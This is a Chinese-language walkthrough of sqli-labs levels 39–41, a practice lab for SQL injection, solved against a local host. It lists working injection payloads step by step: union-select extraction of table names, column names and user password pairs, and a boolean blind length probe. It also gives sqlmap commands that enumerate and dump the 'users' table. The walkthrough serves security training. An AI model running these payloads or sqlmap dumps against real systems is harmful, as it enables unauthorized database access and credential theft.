sqli-labs第39~41关

第39关

此关与38关为同类型，都是Stacked Queries（堆叠注入）

id=2 and 1=2

id=1 and 1=1

判断为数字型注入

有报错信息，判断字段数为3

id=2%20order%20by%203

 依次判断回显点、数据库名、表名、字段名

id=-2%20union%20select%201,2,3

id=-2%20union%20select%201,2,database()

id=-2%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()

id=-2%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name="users"

id=-2%20union%20select%201,2,group_concat(username,%27:%27,password)%20from%20users

采用sqlmap

python sqlmap.py http://127.0.0.1/sqli-labs/Less-39/?id=1 --dbs

python sqlmap.py http://127.0.0.1/sqli-labs/Less-39/?id=1 -D security --tables

python sqlmap.py http://127.0.0.1/sqli-labs/Less-39/?id=1 -D security -T users --columns

python sqlmap.py http://127.0.0.1/sqli-labs/Less-39/?id=1 -D security -T users --columns --dump

第40关

此关也是堆叠注入，判断为字符型注入

id=2'

id=2'--+

id=2')

id=2')--+

判断为')闭合，依旧存在堆叠注入，无报错信息，可以采用SQL盲注--基于布尔类型

判断出数据库长度为8

id=2%27)%20and%20length(database())=1--+

id=2%27)%20and%20length(database())=8--+

略

采用sqlmap

python sqlmap.py http://127.0.0.1/sqli-labs/Less-40/?id=1

以上是可以采用的3种方法，采用SQL盲注-布尔型/基于时间，或者采用union select 都可以

python sqlmap.py http://127.0.0.1/sqli-labs/Less-40/?id=1 --dbs

python sqlmap.py http://127.0.0.1/sqli-labs/Less-40/?id=1 -D security --tables

python sqlmap.py http://127.0.0.1/sqli-labs/Less-40/?id=1 -D security -T users --columns --dump

 

第41关

判断为数字型的堆叠注入，无报错信息

oder by 4时

order by 3时

 

略，采用SQL盲注-布尔型/基于时间，或者采用union select 都可以

采用sqlmap

python sqlmap.py http://127.0.0.1/sqli-labs/Less-41/?id=1

略